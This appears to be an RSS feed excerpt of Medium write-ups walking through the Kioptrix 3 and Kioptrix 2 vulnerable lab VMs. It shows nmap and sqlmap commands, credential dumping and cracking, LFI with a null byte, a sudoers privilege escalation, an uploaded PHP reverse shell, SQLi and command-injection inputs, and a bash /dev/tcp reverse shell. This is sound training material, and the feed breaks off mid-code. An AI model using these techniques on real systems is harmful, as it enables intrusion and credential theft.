ports and the services running on each of them to understand our attack surface. Nmap will be a great choice for that.</p><pre>target=192.168.109.141<br>sudo nmap -sS -T4 -p- -sVC -O $target -oN scan-result.txt</pre><p>let’s break this command down:</p><p>sudo: to run it with root privileges so that we can modify the TCP default connection (Three-way handshake) to make our scan faster.</p><ul><li>-sS: for <a href="https://nmap.org/book/synscan.html">stealthy scan</a></li><li>-T4: for aggressive <a href="https://nmap.org/book/performance-timing-templates.html">Timing Templates</a></li><li>-p-: for scanning all ports</li><li>-sV: for <a href="https://nmap.org/book/vscan.html">service detection</a></li><li>-sC: to use <a href="https://nmap.org/book/nse-usage.html#nse-categories">default NSE scripts</a></li><li>-O: <a href="https://nmap.org/book/man-os-detection.html">OS detection</a></li><li>-oN: save the scan results in “scan-result.txt”</li></ul><p>Here are the scan results from the previous command:</p><pre>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-07 01:42 EDT<br>Nmap scan report for 192.168.109.141<br>Host is up (0.00099s latency).<br>Not shown: 65533 closed tcp ports (reset)<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)<br>| ssh-hostkey: <br>|   1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)<br>|_  2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)<br>80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)<br>|_http-title: Ligoat Security - Got Goat? Security ...<br>| http-cookie-flags: <br>|   /: <br>|     PHPSESSID: <br>|_      httponly flag not set<br>|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch<br>MAC Address: 00:0C:29:57:79:9E (VMware)<br>Device type: general purpose<br>Running: Linux 2.6.X<br>OS CPE: cpe:/o:linux:linux_kernel:2.6<br>OS details: Linux 2.6.9 - 2.6.33<br>Network Distance: 1 hop<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 18.69 seconds</pre><p>There are only two open ports detected, one of which is HTTP. Let’s check the website running on port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sBOiPgyNjmA509wCU7gf8g.png" /></figure><p>After visiting the Blog page, you will find this link: <a href="http://kioptrix3.com/gallery">http://kioptrix3.com/gallery</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2SfM5kKOhr70Kt5wSuZkfA.png" /></figure><p>If you attempt to visit the page using the IP address, you will encounter this problem:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j0T96vtg746stfvVT723lg.png" /></figure><p>To resolve this issue, you must map the IP address of the machine to the URL “kioptrix3.com”. To do this, you need to modify the /etc/hosts file as shown in the following image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*EAA9LQFxS6jf59sQtYTKoQ.png" /></figure><p>This can be done using any text editor. For me, I prefer using Vim.</p><pre>sudo vim /etc/hosts</pre><p>Press i in vim to insert text. When you’re finished adding your addresses, press “ESC” and type :wq to write and quit.</p><p><strong>What was the purpose behind that action?</strong></p><blockquote>Web servers see the host header (IE the website name) that the browser is attempting to contact. The host header is sent regardless of how the IP was resolved. A single web server can host multiple sites on a single IP and thus uses the host header to determine which site/content to respond with.</blockquote><p>Now, let’s attempt to visit that page again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bxU9yjyYBjRKikZtbRlxlw.png" /></figure><p>Nice, it worked! After browsing for a while, I stumbled upon this intriguing page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sxujT82eq9Ays7ht7ga3yA.png" /></figure><p>The page features a function allowing users to sort images based on their ID, name, size, upload date, and views. If you have a strong background in databases, ‘ORDER BY’ should immediately come to mind.</p><blockquote>The ORDER BY command is used to sort the result set in ascending or descending order.</blockquote><p>Assuming that images are stored in a table named “imgs,” the SQL query would look something like this:</p><pre>select * from imgs where id=1 order by &lt;photoid|filename|filesize|date|views&gt;</pre><p>To verify our assumption, we need to change the value for the parameter “id” to a value that would trigger an error in the query. For me, I prefer using one of these characters &#39;,&quot; or\ .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LoL-4h3C1J84PoZ1XCa3Ag.png" /></figure><p>Bingo! Now we can confirm that this website is utilizing the MySQL database.</p><p><strong>What can we do with this vulnerability?</strong></p><p>We might find some credentials within the database. To achieve that, we can either craft the commands manually or utilize “sqlmap” to automate the process.</p><p>Another page worth checking is the login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o8uPIxqCcUc9xPDnQAm1GQ.png" /></figure><p>“Proudly Powered by: LotusCMS” sounds like a hint indeed. Let’s search for any CVEs related to that name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*EjmOQBuSWWBn0pv5cZpraw.png" /></figure><p>Great, we have an RCE (Remote Code Execution). I’ll keep that in mind because we’ll revisit it later.</p><h3>👨🏻‍💻Exploitation</h3><p>Now that we’ve identified an SQL injection vulnerability, we can use “sqlmap” to retrieve some data.</p><p>Command:</p><pre>sqlmap -u &quot;http://kioptrix3.com/gallery/gallery.php?id=\&amp;sort=filename#photos&quot; -p id --current-user --is-dba --users</pre><p>where:</p><pre>-u &quot;&lt;URL&gt;&quot; <br>-p &quot;&lt;PARAM TO TEST&gt;&quot;<br>--current-user #Get current user<br>--is-dba #Check if current user is Admin<br>--users #Get usernames od DB</pre><p>We will obtain these results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*jVvJYJk2sS_FHzrU68gbEA.png" /></figure><p>Next, let’s proceed to dump some data from the databases.</p><p>Command:</p><pre>sqlmap -u &quot;http://kioptrix3.com/gallery/gallery.php?id=\&amp;sort=filename#photos&quot; -p id --dbs #Names of the available databases</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*DKGmXtRpPu5I7UBzDw5eKQ.png" /></figure><p>The MySQL database is the system database. It contains tables that store information required by the MySQL server as it runs. Tables in the MySQL database fall into these categories: Grant System Tables. Let’s take a look at the tables inside of it.</p><p>Command:</p><pre>sqlmap -u &quot;http://kioptrix3.com/gallery/gallery.php?id=\&amp;sort=filename#photos&quot; -p id --tables -D mysql #Tables of a database ( -D &lt;DB NAME&gt; )</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*G8er_Xie4Acqn-TVxhv6ew.png" /></figure><p>The table we should focus on is “user.” Let’s check its columns.</p><p>Command:</p><pre>sqlmap -u &quot;http://kioptrix3.com/gallery/gallery.php?id=\&amp;sort=filename#photos&quot; -p id -D mysql -T user --columns #Columns of a table  ( -D &lt;DB NAME&gt; -T &lt;TABLE NAME&gt; )</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*ebYEu27pa-hXAriQJ3_e4Q.png" /></figure><p>The columns we should focus on are “User” and “Password”. Let’s proceed to dump the data from these two columns.</p><p>Command:</p><pre>sqlmap -u &quot;http://kioptrix3.com/gallery/gallery.php?id=\&amp;sort=filename#photos&quot; -p id -D mysql -T user -C User,Password --dump</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BfAcf-_nP8mifMeK0RMtvA.png" /></figure><p>After dumping the data from the “user” table, “sqlmap” provides the option to attempt to crack the password hashes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p-03oXA2lXkEe4XySoh19g.png" /></figure><p>Unfortunately, our attempt to crack it using the “rockyou.txt” wordlist was unsuccessful. We could explore other options, such as using online password-cracking websites.</p><blockquote><a href="https://hashes.com/en/decrypt/hash">https://hashes.com/en/decrypt/hash</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1VXb0YTw7SxkQ7Ud9dG-Cg.png" /></figure><p>It worked! We now have the root credentials for the database.</p><blockquote>root:fuckeyou</blockquote><p>Now, let&#39;s take a look at the other database; perhaps we will find some useful data there.</p><p>Command:</p><pre>sqlmap -u &quot;http://kioptrix3.com/gallery/gallery.php?id=\&amp;sort=filename#photos&quot; -p id --tables -D gallery</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/261/1*92r9EELNMlSDdFGb_mRT_Q.png" /></figure><p>We have a table named “gallarific_users” that’s worth checking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MxBbx8MYB8jK2CD2fBmvzg.png" /></figure><p>I’m assuming we’re encountering this issue due to our privileges.</p><p><strong>So what should we do next?</strong></p><p>If you’re well-versed in PHP and MySQL, you’re likely familiar with “phpMyAdmin.”</p><blockquote>phpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the Web.</blockquote><p>If you’re not an expert, you can apply directory fuzzing on the website to discover these directories. Many tools can accomplish this I’ll use “gobuster”.</p><p>Command:</p><pre>gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -u http://kioptrix3.com </pre><p>where:</p><pre>dir #directory/file enumeration mode<br>-w  #Path to the wordlist<br>-u  # The target URL</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YZJCePGD_kssRd4iJ4JCrQ.png" /></figure><p>As shown in the image above, the &quot;/phpmyadmin/&quot; directory exists. Let’s utilize the root credentials we’ve obtained to log in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TZkxA22T3hsTxnol-gaNnA.png" /></figure><p>Now, we should check the table from which we couldn’t dump data, which is “gallarific_users.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KNCnrdgyJnVvEZvlH-UYbA.png" /></figure><p>We’ve discovered a user named “admin,” and the password for it is “n0t7t1k4”.Also, upon closer inspection, another table that may be useful is “dev_accounts.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IJI-kJr3Pmrz5nMrKbrMCg.png" /></figure><p>Great, we’ve identified two more users: “dreg” and “loneferret.”Their passwords appear to be hashed. I’ll attempt to crack them using the same method we used previously.</p><p>dreg’s password:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xN2t6bMdJKaoMuU_3lNJmQ.png" /></figure><p>loneferret’s password:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AcDEI_cJj2slrtJ7xMyoBQ.png" /></figure><p>Now that we have all these credentials, it’s time to gain initial access to the machine. It’s time to exploit the RCE vulnerability we discovered on the login page. To do that, I’ll use “msfconsole”. There is a module named “exploit(multi/http/lcms_php_exec)” to exploit this vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0H874a9H4PVP6nniLRlvYg.png" /></figure><p>To execute the module, we must set the “RHOSTS” and “URI” values.</p><pre>set RHOSTS 192.168.109.141 #set the target ip <br>set URI / #set target uri </pre><p>For some reason, the exploitation is not working :/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*ZmF2PJ21EJ9P3xtCa1DWdg.png" /></figure><p>Let’s go back to the webpage. X_X</p><p>After thoroughly searching the main page, I noticed a parameter named “system”.</p><pre>http://kioptrix3.com/index.php?system=Blog</pre><p>It seems like the value of this parameter is passed to the “include” function, so, the backend code will be something like this:</p><pre>&lt;?php<br>$system= isset($_GET[&quot;system&quot;]) ? $_GET[&quot;system&quot;] : &quot;index.php&quot;;<br>$system= $system. &quot;.php&quot;;<br>$file = include(&quot;./&quot; . $system);<br>echo $file;<br>?&gt;</pre><p><strong>How can we bypass adding the “.php” part?</strong></p><p>NullByte — %00 to the file name to terminate the string at the null byte and discard the ‘.php’ extension.</p><p>Let’s attempt to access the “/etc/passwd” file by manipulating the “system” parameter. We can achieve this by setting the parameter value to point to the file, like so:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uYzazr_x0nk590vTWech6A.png" /></figure><p>Wow! We have a Local File Inclusion (LFI) vulnerability here! Let’s check the page source:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UVWnlU-1-LS-6L_53kJ2gQ.png" /></figure><p>Well, after seeing the content of the “passwd” file we have two options to have a shell on the target.</p><ol><li><strong>Log in using SSH with the credentials we found (dreg and loneferret). They are SSH credentials. That’s the easy way.</strong></li></ol><p>If you try to log in using SSH you will encounter this error</p><pre>Unable to negotiate with 192.168.109.141 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss</pre><p>The solution for that is this option:</p><pre>-oHostKeyAlgorithms=+ssh-dss</pre><p>To specify which host key algorithms the client should consider when connecting to a server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*byRRZuGH_nNYguCaZz8riw.png" /></figure><p>Nothing interesting in Dreg’s home directory. Let’s check Loneferret’s home directory. In it, we find a file named “CompanyPolicy.README.” Here is its content:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HBq8cVOjvH5IAcyi8lQOpg.png" /></figure><p>Run the command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qcpF6wwuz3wSRqUdOrK7QQ.png" /></figure><p>Here are four options available: help, open, mode, and quit. After checking them the only option that seems useful is open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*Srzw-Vr5tFxIdShKdDBqog.png" /></figure><p>Let’s check if we can open the sudoers file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*LuDmn9BuIzV72DRrnGupSw.png" /></figure><p>Oh god, we are able to access it! How about modifying it? I’ll try:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mUbEoKRUSN1Kh_PRm4f10w.png" /></figure><p>After saving the modifications and checking our privileges:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*RjFrs5Ec5sZl3VI4gylNjA.png" /></figure><p>Finally!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/256/0*VBoy6cCPHdA9afhj" /></figure><p><strong>2. search more for an uploading files functionality and try to upload a PHP payload.</strong></p><p>So far, we’ve completed the challenge successfully. As a bonus, we can explore another method to gain initial access to the machine.</p><p>After extensively searching the website, I found a directory mentioned in the source code called “/gallery/” and within it, there was “gadmin.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*wL7gemQgvYNn1ZOoy_-FpQ.png" /></figure><p>After opening this page I found it was a login page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wzAcjWqSpgDv0SIYhNLDnA.png" /></figure><p>Do you recall the ‘admin’ user we discovered in the database?</p><p>After logging in, you’ll encounter an upload functionality!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t84xh2Du4Wddfx0IEa2t5Q.png" /></figure><p>That is exactly what we are seeking for :)</p><p>Now we need to craft our PHP file. We have a PHP web shell script available in Kali by default.</p><p>Copy the PHP web shell script to the current working directory:</p><pre>cp /usr/share/webshells/php/php-reverse-shell.php ./</pre><p>Open the file with any text editor and adjust the IP and port to suit your requirements. Then save the changes.</p><p>The final step is to rename the file and change its extension to &quot;.jpg&quot;.</p><pre>mv php-reverse-shell.php shell.jpg</pre><p>Uploading the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*j33o9z7YYKzzsxYeen-QoQ.png" /></figure><p>Now, run “nc” in listening mode:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*tMnJjcglub0-vF7UqMFkZA.png" /></figure><p>Now, we need to determine if the name of our file remains the same or if it has been changed, as well as its location.</p><p>Press view to see that image name and path:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UtBgF7RaNM-jiFz2d4wKjw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zJn7DcdTT26qpbkpNR-z6A.png" /></figure><p>The path of the file is:</p><pre>/gallery/photos/7vewc51t10.jpg</pre><p>It is located under the webserver directory which is:</p><pre>/home/www/kioptrix3.com/</pre><blockquote>If you’re unsure about where this path comes from, let’s revisit the Local File Inclusion (LFI) part to understand its origin.</blockquote><p>Now, let’s concatenate it all together with a null byte and witness the magic:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YxnnGNsfMZ4jCw_IlYKjrw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*O0_7Y8TfUH8W6T5Y9yKe8Q.png" /></figure><p>Phew! This was indeed a challenging machine. I hope this writeup was useful for you folks; stay safe and keep pinging :)</p><p>WHNlbnNlaTA3 😉</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba96b7a8a2a4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kioptrix 2: Boot-to-Root]]></title>
            <link>https://sensei0x01.medium.com/kioptrix-2-boot-to-root-aa7c68e8f10c?source=rss-3da79e7aaca3------2</link>
            <guid isPermaLink="false">https://medium.com/p/aa7c68e8f10c</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[kioptrix]]></category>
            <dc:creator><![CDATA[sensei0x01]]></dc:creator>
            <pubDate>Fri, 31 May 2024 16:15:23 GMT</pubDate>
            <atom:updated>2024-06-01T14:56:36.491Z</atom:updated>
            <content:encoded><![CDATA[<p>This Kioptrix VM Image is an easy challenge. The game&#39;s object is to acquire root access via any means possible (except actually hacking the VM server or player). These games aim to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways than one to complete the challenges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A5bvj49AOWZMrfSjU_g9FQ.png" /></figure><h3>Introduction</h3><p>Hello there, in this write-up we will walk through the Kioptrix 2 machine. How to install, configure, and exploit it. Our ultimate object is to have root access to that machine.</p><h3>🖥️Lab Setup</h3><ul><li>VMWare workstation</li><li>Kali Linux VM</li><li><a href="https://www.vulnhub.com/entry/kioptrix-level-11-2,23/">Kioptrix Level 2</a> Vulnhub VM (updated version)</li></ul><p>Without frills, let’s go!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*m_0hjzWC31ANw5Ca" /></figure><h3>⬇️Installation</h3><p>The machine’s file type is .rar after extracting it you will find these files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*SyGo0eDU48T0L7wSp_4tvg.png" /><figcaption>rar file content</figcaption></figure><p>Now, let’s open the .vmx file (the virtual machine configuration file) via the VMWare workstation to import the VM:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*m8h3pi7CUAoN3h1n2AOtVA.png" /><figcaption>Open a virtual machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*O72LejZWUQ9KD7KESOL96A.png" /><figcaption>Browse to the Cent)s4.5.vmx” file location</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/311/1*Q0zYfp_C0yn9yKzpFEDJ7A.png" /><figcaption>Imported Kioptrix level 2</figcaption></figure><p>The machine is imported, but if you notice, the network adapter is bridged, which is not a best practice. When dealing with vulnerable machines, don’t give them access to your local network unless there are no personal devices connected. You don’t know the intentions of the creators of these machines, after all.</p><p>We are going to turn it into a NAT interface. To do that:</p><p><strong>Step 1: Modify line 44 of the “</strong>CentOs4.5.vmx”<strong> file </strong>from:</p><blockquote>ethernet0.networkName = “Bridged”</blockquote><p>to:</p><blockquote>ethernet0.networkName = “NAT”</blockquote><p>Boot it up and that’s it😁</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*7F-Btew-zCTql5pI2jfdyA.png" /></figure><h3>🔍Host Discovery</h3><p>After installing the VM we need to know which IP address has been assigned to it. Many tools can do that. In this article, we’ll be using the Nmap host discovery feature:</p><pre> sudo nmap -sn 192.168.109.0/24 --exclude 192.168.109.131</pre><p>“192.168.109.0/24” is the NAT subnet in my VMWare workstation. It could be different on your device. you can exclude hosts or entire networks with the --exclude option. “192.168.109.131” is the IP address of Kali VM.</p><pre>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-25 04:06 EDT<br>Nmap scan report for 192.168.109.1<br>Host is up (0.00017s latency).<br>MAC Address: 00:50:56:C0:00:08 (VMware)<br>Nmap scan report for 192.168.109.2<br>Host is up (0.00010s latency).<br>MAC Address: 00:50:56:FF:68:65 (VMware)<br>Nmap scan report for 192.168.109.146<br>Host is up (0.00014s latency).<br>MAC Address: 00:0C:29:53:19:4C (VMware)<br>Nmap scan report for 192.168.109.254<br>Host is up (0.00026s latency).<br>MAC Address: 00:50:56:F4:20:16 (VMware)<br>Nmap done: 255 IP addresses (4 hosts up) scanned in 2.05 seconds</pre><p>From the scanning result above the target IP address is “192.168.109.146”. The other up-hosts are the VMWare default gateway and DHCP server.</p><h3>🕵🏼Enumeration</h3><p>After identifying the target, we need to scan for open ports and the services running on each of them to understand our attack surface. Nmap is a great tool for host discovery, port scanning, service detection, and more.</p><pre>target=192.168.109.146<br>sudo nmap -sS -T4 -p- -sVC -O $target</pre><p>let’s break this command down:</p><p>sudo: to run it with root privileges so that we can modify the TCP default connection (Three-way handshake) to make our scan faster.</p><ul><li>-sS: for <a href="https://nmap.org/book/synscan.html">stealthy scan</a></li><li>-T4: for aggressive <a href="https://nmap.org/book/performance-timing-templates.html">Timing Templates</a></li><li>-p-: for scanning all ports</li><li>-sV: for <a href="https://nmap.org/book/vscan.html">service detection</a></li><li>-sC: to use <a href="https://nmap.org/book/nse-usage.html#nse-categories">default NSE scripts</a></li><li>-O: <a href="https://nmap.org/book/man-os-detection.html">OS detection</a></li></ul><p>Here is the scan’s result of the previous command:</p><pre>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-25 04:28 EDT<br>Nmap scan report for 192.168.109.146<br>Host is up (0.00079s latency).<br>Not shown: 65528 closed tcp ports (reset)<br>PORT     STATE SERVICE  VERSION<br>22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)<br>| ssh-hostkey: <br>|   1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)<br>|   1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)<br>|_  1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)<br>|_sshv1: Server supports SSHv1<br>80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))<br>|_http-server-header: Apache/2.0.52 (CentOS)<br>|_http-title: Site doesn&#39;t have a title (text/html; charset=UTF-8).<br>111/tcp  open  rpcbind  2 (RPC #100000)<br>| rpcinfo: <br>|   program version    port/proto  service<br>|   100000  2            111/tcp   rpcbind<br>|   100000  2            111/udp   rpcbind<br>|   100024  1            619/udp   status<br>|_  100024  1            622/tcp   status<br>443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))<br>|_http-title: Site doesn&#39;t have a title (text/html; charset=UTF-8).<br>|_ssl-date: 2024-05-25T05:19:20+00:00; -3h09m34s from scanner time.<br>| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--<br>| Not valid before: 2009-10-08T00:10:47<br>|_Not valid after:  2010-10-08T00:10:47<br>|_http-server-header: Apache/2.0.52 (CentOS)<br>| sslv2: <br>|   SSLv2 supported<br>|   ciphers: <br>|     SSL2_DES_64_CBC_WITH_MD5<br>|     SSL2_RC4_128_WITH_MD5<br>|     SSL2_DES_192_EDE3_CBC_WITH_MD5<br>|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5<br>|     SSL2_RC4_128_EXPORT40_WITH_MD5<br>|     SSL2_RC2_128_CBC_WITH_MD5<br>|_    SSL2_RC4_64_WITH_MD5<br>622/tcp  open  status   1 (RPC #100024)<br>631/tcp  open  ipp      CUPS 1.1<br>| http-methods: <br>|_  Potentially risky methods: PUT<br>|_http-server-header: CUPS/1.1<br>|_http-title: 403 Forbidden<br>3306/tcp open  mysql    MySQL (unauthorized)<br>MAC Address: 00:0C:29:53:19:4C (VMware)<br>Device type: general purpose<br>Running: Linux 2.6.X<br>OS CPE: cpe:/o:linux:linux_kernel:2.6<br>OS details: Linux 2.6.9 - 2.6.30<br>Network Distance: 1 hop<br><br>Host script results:<br>|_clock-skew: -3h09m34s<br><br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 21.49 seconds</pre><p>There are 7 open ports.</p><p><strong>First, let’s check is rpcbind. we will do that using rpcinfo</strong></p><pre>rpcinfo -p $target</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*50MLJo_Ydxu-uNbw27MXag.png" /></figure><p>There are no useful services to exploit here. Let’s move to the website on port 80 and 443:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5WhYG5cfGHVyYNidNz0VLQ.png" /><figcaption>Port 433 (https) page are not opening</figcaption></figure><p>This website might not support the TLS 1.2 protocol, which is the minimum version supported by Firefox. The website may be using an older version of “tls” let’s change the minimum version supported by Firefox. You can do that from :</p><ol><li>In the address bar, type <strong>about:config</strong> and press Enter</li><li>In the <strong>Search </strong>field, enter <strong>tls</strong>. Find and double-click the entry for security.tls.version.min</li><li>Set the integer value to 1 to force the protocol of TLS 1</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WcQ2Nn6nhGjzMVVHKS7vmw.png" /></figure><p>After that, try to access the same page again; it will open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vSZYQP_xgB37hgbGmACd1A.png" /><figcaption>login page</figcaption></figure><p>Ports 80 and 443 are routing the visitor to the same page, which is a login page.</p><h3>👨🏻‍💻Exploitation</h3><p>The first thing that comes to my mind when it comes to login pages is the default credentials:</p><ul><li>admin: admin</li><li>admin: password</li><li>administrator: password</li></ul><p>But it didn’t work. So, why don’t we try SQL injection (SQLi) to bypass authentication?</p><p>Let’s say the SQL statement that is used to check credentials is :</p><pre>select * from admin_table where user=&#39;username&#39; and pass=&#39;password&#39;</pre><p>and it passed to the database without <a href="https://www.webopedia.com/definitions/input-sanitization/">sanitization</a>. If so, we can bypass the authentication. To do that we will enter a logical state that is true like 1=1.</p><p>let’s say username= ‘ or 1=1-- . The single quote is used to escape the single quote in the SQL statement. and “ -- “ will comment the rest of the statement.</p><pre>select * from admin_table where user=&#39;&#39; or 1=1 -- and pass=&#39;password&#39;</pre><p>Note:</p><blockquote>Don’t forget to add a space after “ -- “ because according to the MySQL documentation, MySQL requires at least one whitespace character after the double dash for it to be registered as a comment.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/424/1*FJ4_Stus-lVg62BFVDgXfA.png" /><figcaption>SQLi to bypass authentication</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*Ap1PTAo34flKjrN7wYilMw.png" /></figure><p>And here we go!!😉</p><p>The second page is a web console. There is only one input field, asking to enter an IP address to ping. I’ll try the loopback IP “127.0.0.1”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*MI4LCdE4qenXzen2GxOg0w.png" /><figcaption>Ping reply</figcaption></figure><p>Hmm. Let’s say the input parameter name is “ip” and it is passed to the backend PHP code it should be something like this:</p><pre>&lt;?php<br>$ip = $_POST[&#39;ip&#39;];<br>$cmd = &#39;ping &#39;. $ip<br>system($cmd);<br>?&gt;</pre><p>what will happen if we end the line with “; “ and add another system command like ‘id’. The input will be something like this:</p><pre>127.0.0.1;id</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*zTS0-IPGzRYMZl_KQ5OFqQ.png" /></figure><p>Wow! We have a web shell. Let’s set up a reverse shell to make interacting with the shell easier. There are many ways to do that. “nc” is one of the smoothest ways to do so, but we should check if it exists or not. We can do that using “whatis nc”:</p><p>On the Kali VM, I’ll run a listener using ‘nc’ to catch any incoming traffic.</p><pre>nc -lnvp 7702</pre><p>Unfortunately, it’s not installed on the target machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*ma1Uo46pxQUTN2NlEZM2bw.png" /></figure><p>So I’ll use “bash” and “/dev/tcp/” to establish a reverse shell.</p><pre>bash -i &gt;&amp; /dev/tcp/192.168.109.131/7702 0&gt;&amp;1</pre><ul><li>bash: This invokes the Bash shell.</li><li>-i: This flag makes the Bash shell interactive, which means it will allow for interactive input and output.</li><li>&gt;&amp;: This redirects both standard output (stdout) and standard error (stderr).</li><li>/dev/tcp/192.168.109.131/7702: This is where the output is redirected to. /dev/tcp is a special path in Unix-like systems that allows access to TCP sockets as if they were files. Here, it specifies the IP address 192.168.109.131 and port 7702 on that IP address. This is typically the attacker&#39;s IP and a port they are listening on.</li><li>0&gt;&amp;1: This redirects file descriptor 0 (stdin) to file descriptor 1 (stdout), essentially making stdin the same as stdout.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*p65EYhwjlrRToPveMZQKfg.png" /></figure><p>Here we go!! Now we need to escalate our privilege. Firstly, I’ll check the web page source code and configuration files for credentials. There are two PHP files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/192/1*RiERzED9MfjyJrSldJ36fQ.png" /></figure><p>The source code of “index.php” is:</p><pre>&lt;&lt;?php<br>        mysql_connect(&quot;localhost&quot;, 